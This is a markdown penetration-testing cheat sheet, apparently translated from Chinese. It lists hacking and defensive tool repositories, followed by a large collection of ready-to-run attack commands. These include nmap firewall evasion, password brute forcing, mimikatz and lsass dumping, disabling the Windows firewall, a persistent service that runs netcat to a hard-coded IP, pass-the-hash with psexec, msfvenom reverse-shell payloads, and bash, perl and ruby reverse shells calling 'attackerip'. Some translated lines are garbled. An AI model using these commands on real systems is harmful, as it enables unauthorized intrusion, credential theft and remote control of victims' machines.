Hacking Tools and Resources.md

Getting Started

Https://wizardforcel.gitbooks.io/web-hacking-101/content/ Web Hacking 101 Chinese Https://wizardforcel.gitbooks.io/asani/content/ Easy to get Android security Chinese version Https://wizardforcel.gitbooks.io/lpad/content/ Android penetration test study manual Chinese version Https://wizardforcel.gitbooks.io/kali-linux-web-pentest-cookbook/content/ Kali Linux Web Penetration Test Cheats Chinese Version Https://github.com/hardenedlinux/linux-exploit-development-tutorial Linux exploit Development Primer Https://www.gitbook.com/book/t0data/burpsuite/details burpsuite actual guide Http://www.kanxue.com/?article-read-1108.htm=&winzoom=1 Penetration Testing Node.js Application Https://github.com/qazbnm456/awesome-web-security Web Security Information and Resources List Https://sec-wiki.com/ sec-wiki Security Wikipedia Fuzz tool collection

https://github.com/ivanfratric/winafl https://github.com/attekett/NodeFuzz https://github.com/google/oss-fuzz http://blog.topsec.com.cn/ad_lab/alphafuzzer/ http://llvm.org/docs/LibFuzzer.html Subdomain name enumeration

https://github.com/lijiejie/subDomainsBrute (Classic Subdomain Blasting Enumeration Script) Https://github.com/ring04h/wydomain (subdomain dictionary exhaustive) Https://github.com/le4f/dnsmaper (subdomain enumeration and map marker) Https://github.com/0xbug/orangescan (online subdomain information collection tool) https://github.com/TheRook/subbrute (Query subdomains based on DNS records) https://github.com/We5ter/GSDF (subdomain query script based on Google SSL transparent certificate) Https://github.com/mandatoryprogrammer/cloudflare_enum (a script for subdomain enumeration using CloudFlare) https://github.com/18F/domain-scan (A domain scanner） https://github.com/guelfoweb/knock (Knock Subdomain Scan) https://github.com/Evi1CLAY/CoolPool/tree/master/Python/DomainSeeker (Collecting target subdomain information in multiple ways) https://github.com/code-scan/BroDomain (Brothers Domain Lookup) Https://github.com/chuhades/dnsbrute (enumeration of subdomains based on dns queries) Web application scanner

http://github.com/Arachni/arachni (web application security scanner framework http://www.arachni-scanner.com) Database scan, injection tool

Https://github.com/sqlmapproject/sqlmap (injection tool king sqlmap) https://github.com/0xbug/SQLiScanner (a passive SQL injection vulnerability scanning tool based on SQLMAP and Charles) https://github.com/stamparm/DSSS (SQL Injection Vulnerability Scanner for 99 Lines of Code) https://github.com/youngyangyang04/NoSQLAttack (A attack tool for mongoDB) https://github.com/Neohapsis/bbqsql (SQL Blind Use Framework) https://github.com/NetSPI/PowerUpSQL (Powershell Scripting Framework to Attack SQL Server) https://github.com/WhitewidowScanner/whitewidow (another database scanner) Https://github.com/stampery/mongoaudit (MongoDB Auditing and Infiltration Tools) Https://github.com/commixproject/commix (Injection point command execution tool) Weak password or information leak scan

https://github.com/lijiejie/htpwdScan (a simple HTTP brute-force, hit-attack script) https://github.com/lijiejie/BBScan (a mini-message leak scanning script) https://github.com/lijiejie/GitHack (.git Folder Leakage Utility) https://github.com/LoRexxar/BScanner (Dictionary-based directory scanning widget) Https://github.com/she11c0der/fenghuangscanner_v3 (various ports and weak password detection, author wilson9x1, original address expired) https://github.com/ysrc/F-Scrack (Script for weak password detection for various services) https://github.com/Mebus/cupp (Generate weak password detection dictionary script according to user habits) https://github.com/RicterZ/genpAss (Chinese weak password generator) Https://github.com/netxfly/crack_ssh (go to the ssh\redis\mongodb weak password cracking tool written by go) https://github.com/n0tr00t/Sreg (All internet passport information registered by returning user by entering email, phone, username) https://github.com/repoog/GitPrey (GitHub Sensitive Information Scan Tool) https://github.com/dxa4481/truffleHog (GitHub sensitive information scanning tool, including detection commit, etc.) https://github.com/LandGrey/pydictor (Violence Dictionary Builder) https://github.com/GDSSecurity/xxe-recursive-download (xxe Recursive Recursive Download Tool) Https://buer.haus/xxegen/ (xxe online generation utility) Internet of Things Device Scan

https://github.com/rapid7/IoTSeeker (Internet of Things Devices Default Password Scan Detection Tool) Https://github.com/shodan-labs/iotdb (using nmap to scan IoT devices) https://github.com/jh00nbr/Routerhunter-2.0 (Router exploit exploit) Https://github.com/reverse-shell/routersploit (Router exploit framework) Https://github.com/scu-igroup/telnet-scanner (telnet service password hit library) https://github.com/RUB-NDS/PRET (Printer Attack Framework) XSS scan

https://github.com/shawarkhanethicalhacker/BruteXSS （Cross-Site Scripting Bruteforcer） https://github.com/1N3/XSSTracer (A small python script to check for Cross-Site Tracing) https://github.com/0x584A/fuzzXssPHP (reflective xss scan for PHP version) Https://github.com/chuhades/xss_scan (Batch scanning xss python script) https://github.com/BlackHole1/autoFindXssAndCsrf (Automated detection of browsers with XSS and CSRF vulnerability) Corporate network self-test

https://github.com/sowish/LNScan (Detailed Internal Network Information Scanner) https://github.com/SkyLined/LocalNetworkScanner (Local network scanner implemented in javascript) Https://github.com/ysrc/xunfeng (Web Asset Recognition Engine, Vulnerability Detection Engine) https://github.com/laramies/theHarvester (Enterprises Include Sensitive Asset Information Monitoring Scripts by Search Engines: Employee Email, Subdomain, Hosts) https://github.com/x0day/Multisearch-v2 (Search Engine Aggregate Search, which can be used to find information on sensitive assets included in search engines by enterprises) Webshell detection and virus analysis tools

https://github.com/We5ter/Scanners-Box/tree/master/webshell/ (Simple php backdoor detection tool and webshell repository) https://github.com/ym2011/ScanBackdoor (Webshell scanning tool) https://github.com/yassineaddi/BackdoorMan (PHP backdoor scanning) https://github.com/he1m4n6a/findWebshell (another webshell detection tool) https://github.com/Tencent/HaboMalHunter (Hubble Analysis System, Linux System Virus Analysis and Security Inspection) https://github.com/PlagueScanner/PlagueScanner (integrated ClamAV, ESET, Bitdefender anti-virus engine implemented in python) Https://github.com/nbs-system/php-malware-finder (a high-efficiency PHP-webshell scanning tool) https://github.com/emposha/PHP-Shell-Detector/ (webshell detection tool with up to 99% test efficiency) Intranet security penetration test tool set

https://github.com/0xwindows/VulScritp (Intranet penetration scripts, including banner scans, port scans, various general exploits, etc.) Https://github.com/lcatro/network_backdoor_scanner (Intranet detection framework based on network traffic) Https://github.com/fdiskyou/hunter (Call the Windows API to enumerate user login information) https://github.com/BlackHole1/WebRtcXSS (Automated XSS Intrusion to Intranet) https://github.com/AlessandroZ/LaZagne (Local Password Viewer Extraction Tool) Https://github.com/huntergregal/mimipenguin (linux password crawler artifact) Port scanning, fingerprinting, and middleware scanning

Https://nmap.org/download.html (king of Nmap port scanners, https://svn.nmap.org/) Https://github.com/ring04h/wyportmap (target port scanning + system service fingerprinting) Https://github.com/ring04h/weakfilescan (Dynamic multithread sensitive information leak detection tool) https://github.com/EnableSecurity/wafw00f (WAF product fingerprinting) Https://github.com/rbsec/sslscan (ssl type identification) Https://github.com/urbanadventurer/whatweb (web fingerprinting) https://github.com/tanjiti/FingerPrint (web application fingerprinting) https://github.com/nanshihui/Scan-T (Web crawler fingerprint recognition) https://github.com/OffensivePython/Nscan (a fast Network scanner inspired by Masscan and Zmap) https://github.com/ywolf/F-NAScan (Network asset information scanning, ICMP survivability detection, port scanning, port fingerprinting service identification) https://github.com/ywolf/F-MiddlewareScan (middleware scanning) https://github.com/maurosoria/dirsearch (Web path scanner) Https://github.com/x0day/bannerscan (C segment Banner and path scan) https://github.com/RASSec/RASscan (Port Service Scan) Https://github.com/3xp10it/bypass_waf (waf breaks automatically) Https://github.com/3xp10it/xcdn (try to find out the real ip behind cdn) https://github.com/Xyntax/BingC (C segment/side station query based on Bing search engine, multi-threaded, support API) https://github.com/Xyntax/DirBrute (Multithreaded WEB Directory Blast Tool) Https://github.com/zer0h/httpscan (a reptile-style web host discovery gadget) Https://github.com/lietdai/doom (distributed distributed ip port vulnerability scanner implemented on thorn) Https://github.com/chichou/grab.js (A quick TCP fingerprinting parsing tool similar to zgrab supports more protocols) https://github.com/Nitr4x/whichCDN (CDN identification, detection) Https://github.com/secfree/bcrpscan (Crawler-based web path scanner) Targeted vulnerability testing tools

https://github.com/brianwrf/hackUtils (java deserialization utility tool set) Https://github.com/frohoff/ysoserial (java deserialization utility) https://github.com/blackye/Jenkins (Jenkins vulnerability detection, user crawl blasting) Https://github.com/code-scan/dzscan (discuz vulnerability scan) https://github.com/chuhades/CMS-Exploit-Framework (CMS attack framework) https://github.com/lijiejie/IIS_shortname_Scanner (IIS Short File Name Vulnerability Scan) https://github.com/riusksk/FlashScanner (flashxss scan) https://github.com/coffeehb/SSTIF (Semi-automated tool for server-side template injection vulnerabilities) Https://github.com/epinna/tplmap (server side template injection vulnerability detection and utilization tool) Https://github.com/cr0hn/dockerscan (docker scan tool) https://github.com/GoSecure/break-fast-serial (Use DNS Resolution to Detect Java Deserialization Vulnerability Tools) Https://github.com/dirtycow/dirtycow.github.io (Dirty Bullet Right Exploit exp) Wireless network penetration, scanning

Https://github.com/savio-code/fern-wifi-cracker/ (wireless security audit tool) https://github.com/m4n3dw0lf/PytheM (Python Network/Penetration Test Tool) https://github.com/P0cL4bs/WiFi-Pumpkin (Wireless Security Penetration Test Suite) Code static scan, code run stack trace

Https://github.com/exakat/php-static-analysis-tools (php static scanning toolset) Https://github.com/wufeifei/cobra (White Box Code Security Auditing System) https://github.com/OneSourceCat/phpvulhunter (static php code auditing) https://github.com/Qihoo360/phptrace (tool to track and analyze the performance of PHP) https://github.com/ajinabraham/NodeJsScan (NodeJS Application Code Audit) https://github.com/pwnsdx/BadCode (PHP Code Auditing) Https://github.com/thesp0nge/dawnscanner (ruby source audit) Https://github.com/presidentbeef/brakeman (Security vulnerability for Ruby on Rails applications) https://github.com/ajinabraham/Mobile-Security-Framework-MobSF/ (app black box audit) https://github.com/alibaba/iOSSecAudit (iOS Security Audit) Modular scan, integrated scanner

https://github.com/az0ne/AZScanner (Automatic vulnerability scanner, subdomain blasting, port scanning, directory blasting, common framework vulnerability detection) Https://github.com/blackye/lalascan (Distributed web vulnerability scanning framework, collection owasp top10 vulnerability scanning and boundary asset discovery capabilities) https://github.com/blackye/BkScanner (BkScanner distributed, plug-in web vulnerability scanner) https://github.com/ysrc/GourdScanV2 (Passive vulnerability scanning) Https://github.com/alpha1e0/pentestdb (WEB penetration test database) Https://github.com/netxfly/passive_scan (web proxy based web vulnerability scanner) https://github.com/1N3/Sn1per (Automated scanners, including middleware scanning and device fingerprinting) https://github.com/RASSec/pentestEr_Fully-automatic-scanner (Oriented fully automated penetration testing tool) Https://github.com/3xp10it/3xp10it (Automated penetration testing framework) https://github.com/Lcys/lcyscan (Scan results are not verified) https://github.com/Xyntax/POC-T (penetration test plug-in concurrency framework) https://github.com/v3n0m-Scanner/V3n0M-Scanner （Scanner in Python3.5 for SQLi/XSS/LFI/RFI and other Vulns） https://github.com/Skycrab/leakScan (web-side online vulnerability scanning) https://github.com/zhangzhenfeng/AnyScan (under development...) Android series tools:

http://sec-redclub.com/index.php/archives/439/ DDOS protection:

https://github.com/ywjt/Dshield Database firewall：

https://nim4.github.io/DBShield/ Waf open source and rules:

https://github.com/xsec-lab/x-waf https://github.com/loveshell/ngx_lua_waf https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/master/base_rules Penetration test tool practical skills collection

The best NMAP scanning strategy

The best nmap scanning strategy for all network sizes

Host discovery, generating surviving host list

$ nmap -sn -T4 -OG Discovery.gnmap 192.168.56.0/24 $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt

Port discovery, found most commonly used ports

http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf

$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt $ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt

Port discovery, all ports are found, but UDP port scanning is very slow

$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

Display TCP\UDP port

$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}' $ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

Detect service version

$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

Scan system scan

$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

System and Service Detection

$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt Nmap - Dodge the firewall

Segmentation

$ nmap -f

Modify the default MTU size, but it must be a multiple of 8 (8, 16, 24, 32, etc.)

$ nmap - 24

Generate a random number of spoofs

$ nmap -D RND:10 [target]

manually specify the IP used for spoofing

$ nmap -D decoy1,decoy2,decoy3 etc.

Botnet scan, first you need to find the IP of the botnet

$ nmap -sI [Zombie IP] [Target IP]

Specify the source port number

$ nmap --source-port 80 IP

Append a random number of data after each scan packet

$ nmap --data-length 25 IP

MAC address spoofing, which can generate MAC addresses of different hosts

$ nmap --spoof-mac Dell/Apple/3Com IP Nmap for Web Vulnerability Scanning

cd /usr/share/nmap/scripts/ wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz nmap -sS -sV --script=vulscan/vulscan.nse target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV --script=vuln target nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target Use DIRB Blasting Directory

Note: DIRB is a tool dedicated to blasting catalogs. It has been installed by default in Kali. Similar tools include Patator, dirsearch, DirBuster, and domestic Imperial swords.

dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt Patator - All-Round Brute Force Test Tool

git clone https://github.com/lanjelot/patator.git /usr/share/patator

SMTP blasting

$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst $ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name' Using Fierce Blast DNS

Note: Fierce checks if the DNS server allows zone transfers. If it is allowed, a zone transfer will be performed and the user will be notified. If not, the host name can be enumerated by querying the DNS server. Similar tools: subDomainsBrute, SubBrute, and so on

http://ha.ckers.org/fierce/

$ ./fierce.pl -dns example.com $ ./fierce.pl –dns example.com –wordlist myWordList.txt Use Nikto to scan web services

nikto -C all -h http://IP Scan WordPress

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan ./wpscan –url http://IP/ –enumerate p HTTP fingerprinting

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip cd httprint_301/linux/ ./httprint -h http://IP -s signatures.txt Scan using Skipfish

Note: Skipfish is a Web application security reconnaissance tool. Skipfish uses recursive crawlers and dictionary-based probes to generate an interactive site map. The resulting map will be output after passing the security check.

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP Use NC scan

nc -v -w 1 target -z 1-1000 for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done Unicornscan

Note: Unicornscan is a tool for information collection and security auditing.

us -H -msf -Iv 192.168.56.101 -p 1-65535 us -H -mU -Iv 192.168.56.101 -p 1-65535

-H Resolve host name during report generation phase -m scan type (sf - tcp, U - udp) -Iv - Details Using Xprobe2 to Identify Operating System Fingerprints

xprobe2 -v -p tcp:80:open IP Enumeration of Samba

nmblookup -A target smbclient //MOUNT/share -I target -N rpcclient -U "" target enum4linux target Enumerate SNMP

snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP Practical Windows cmd command

net localgroup Users net localgroup Administrators search dir/s *.doc system("start cmd.exe /k $cmd") sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore /c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779 mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" Procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords" C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32-bit system C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64-bit System PuTTY connection tunnel

Forward remote port to target address plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP Meterpreter Port Forwarding

https://www.offensive-security.com/metasploit-unleashed/portfwd/

Forward remote port to destination address

meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141 kali > rdesktop 127.0.0.1:3389 Turn on RDP service

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable Turn off Windows Firewall

netsh firewall set opmode disable Meterpreter VNC \ RDP

https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/

run getgui -u admin -p 1234 run vnc -p 5043 Use Mimikatz

Get Windows plaintext username and password

git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full Get a hash

git clone https://github.com/byt3bl33d3r/pth-toolkit pth-winexe -U hash //IP cmd

or

apt-get install freerdp-x11 xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

At or

meterpreter > run post/windows/gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit meterpreter > shell Use Hashcat to crack the password

hashcat -m 400 -a 0 hash /root/rockyou.txt Use NC to fetch Banner information

nc 192.168.0.10 80 GET / HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/4.0 Referrer: www.example.com Bounce shell on Windows using NC

c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80

nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000 Find the SUID\SGID root file

Find SUID root file

find / -user root -perm -4000 -print

Find the SGID root file:

find / -group root -perm -2000 -print

Find SUID and SGID files:

find / -perm -4000 -o -perm -2000 -print

Find files that do not belong to any user:

find / -nouser -print

Find files that do not belong to any user group:

find / -nogroup -print

Find the soft connection and its pointing:

find / -type l -ls Python shell

python -c 'import pty;pty.spawn("/bin/bash")' Python\Ruby\PHP HTTP Server

python2 -m SimpleHTTPServer python3 -m http.server ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :D ocumentRoot => Dir.pwd).start" php -S 0.0.0.0:8888 Get the process's PID

fuser -nv tcp 80 fuser -k -n tcp 80 Rupture RDP using Hydra

hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp Mount Remote Windows Shared Folders

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw Exploit under Kali

gcc -m32 -o output32 hello.c (32 位) gcc -m64 -o output hello.c (64 位) Kali Compiles Windows Exploit

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download wine mingw-get-setup.exe select mingw32-base cd /root/.wine/drive_c/windows wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip cd /root/.wine/drive_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe NASM command

Note: The NASM name, The Netwide Assembler, is an assembly language compiler based on 80x86 and x86-64 platforms. It was originally designed to implement cross-platform and modular features of the compiler.

nasm -f bin -o payload.bin payload.asm nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload SSH penetration

ssh -D 127.0.0.1:1080 -p 22 user@IP Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains commands target SSH penetration from one network to another

ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf proxychains commands target Penetrating with metasploit

route add X.X.X.X 255.255.255.0 1 use auxiliary/server/socks4a run proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

or

https://www.offensive-security.com/metasploit-unleashed/pivoting/

meterpreter> ipconfig IP Address : 10.1.13.3 meterpreter> run autoroute -s 10.1.13.0/24 meterpreter> run autoroute -p 10.1.13.0 255.255.255.0 Session 1 meterpreter> Ctrl + Z msf auxiliary(tcp) > use exploit/windows/smb/psexec msf exploit(psexec) > set RHOST 10.1.13.2 msf exploit(psexec) > exploit meterpreter> ipconfig IP Address : 10.1.13.2 Query Exploit-DB based on CSV file

git clone https://github.com/offensive-security/exploit-database.git cd exploit-database ./searchsploit –u ./searchsploit apache 2.2 ./searchsploit "Linux Kernel"

cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3 MSF Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST= X > system.exe msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=443 R > exploit.php msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -e -a x86 --platform win -f asp -o file.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c MSF Generates Meterpreter Shell Bounced Under Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -e -f elf -a x86 --platform linux -o shell MSF Generate Bounce Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c MSF Generates Bounce Python Shell

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py MSF Build Bounce ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp -a x86 --platform win -o shell.asp MSF generates a rebound Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -o shell.sh MSF builds a rebound PHP shell

msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -o shell.php add <?php at the beginning perl -i~ -0777pe's/^/<?php \n/' shell.php MSF Build Bounce Win Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -a x86 --platform win -o shell.exe Linux common security commands

Use uid to find the corresponding program

find / -uid 0 -perm -4000

Finding Where to Have Write Permissions

find / -perm -o=w

Finding files with names containing spaces and spaces

find / -name " " -print find / -name ".." -print find / -name ". " -print find / -name " " -print

find files that do not belong to anyone

find / -nouser

Finding unlinked files

lsof +L1

Get process open port information

lsof -i

See if there is anything strange in the ARP table

arp -a

See all accounts

getent passwd

View all user groups

getent group

List all users' crontabs

for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

Generate a random password

cat /dev/urandom| tr -dc ‘a-zA-Z0-9-!@#$%^&*()+{}|:<>?=’|fold -w 12| head -n 4

Find all non-modifiable files

find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’

Make the file unmodifiable

chattr -i file Windows buffer overflow exploit command

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c

COMMONLY USED BAD CHARACTERS: \x00\x0a\x0d\x20 For http request \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_)

Common commands:

pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

!pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr modules !pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona%p !mona config -get workingfolder !mona mod !mona bytearray -b "\x00\x0a" !mona pc 5000 !mona po EIP !mona suggest SEH - Structured Exception Handling

Note: SEH ("Structured Exception Handling"), structured exception handling, is a powerful handler error or exception weapon provided by the Windows operating system to the programmer.

https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH

http://baike.baidu.com/view/243131.htm

!mona suggest !mona nosafeseh nseh = "\ xeb6e5" x90 "(next seh chain) iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN) ROP (DEP)

Note: ROP ("Return-Oriented Programming") is a computer security exploit technology that allows an attacker to execute code in the context of security defenses, such as non-executable memory and code signing.

DEP ("Data Execution Prevention") is a set of software and hardware technologies that strictly distinguish between code and data in memory to prevent data as code execution.

https://en.wikipedia.org/wiki/Return-oriented_programming

https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B

https://en.wikipedia.org/wiki/Data_Execution_Prevention

http://baike.baidu.com/item/DEP/7694630

!mona modules !mona ropfunc -m *.dll -cpb "\x00\x09\x0a" !mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest) ASLR - Randomization of Address Space Patterns

https://en.wikipedia.org/wiki/Address_space_layout_randomization

http://baike.baidu.com/view/3862310.htm

!mona noaslr Egg Hunt Technology

Egg hunting This technique can be classified as "hierarchical shellcode". It mainly allows you to find your actual (bigger) shellcode (our 'egg') with a small piece of specially crafted shellcode. The principle is through memory. Search our final shellcode. In other words, a short code is executed first and then the real shellcode is looked for and executed. – See the Self-Viewing Snow Forum for more details on the links I added in the code comments.

https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/

http://www.pediy.com/kssd/pediy12/116190/831793/45248.pdf

http://www.fuzzysecurity.com/tutorials/expDev/4.html

!mona jmp -r esp !mona egg -t lxxl \xeb\xc4 (jump backward -60) buff=lxxllxxl+shell !mona egg -t 'w00t' GDB Debugger Common Commands

Set breakpoints

break *_start

execute the next command

next step n s

continue to execute

continue c

data

checking 'REGISTERS' and 'MEMORY'

Display register value: (Decimal, Binary, Hex)

print /d –> Decimal print /t –> Binary print /x –> Hex O/P : (gdb) print /d $eax $17 = 13 (gdb) print /t $eax $18 = 1101 (gdb) print /x $eax $ 19 = 0xd (gdb)

Display the value of a specific memory address

command: x / nyz (exam) n –> Number of fields to display ==> y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal) z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit) BASH Bounce Shell

bash -i >& /dev/tcp/X.X.X.X/443 0>&1

exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done

/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1 /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1 PERL rebound shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Win platform

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’ RUBY Bounce Shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Win platform

ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' PYTHON Bounce Shell

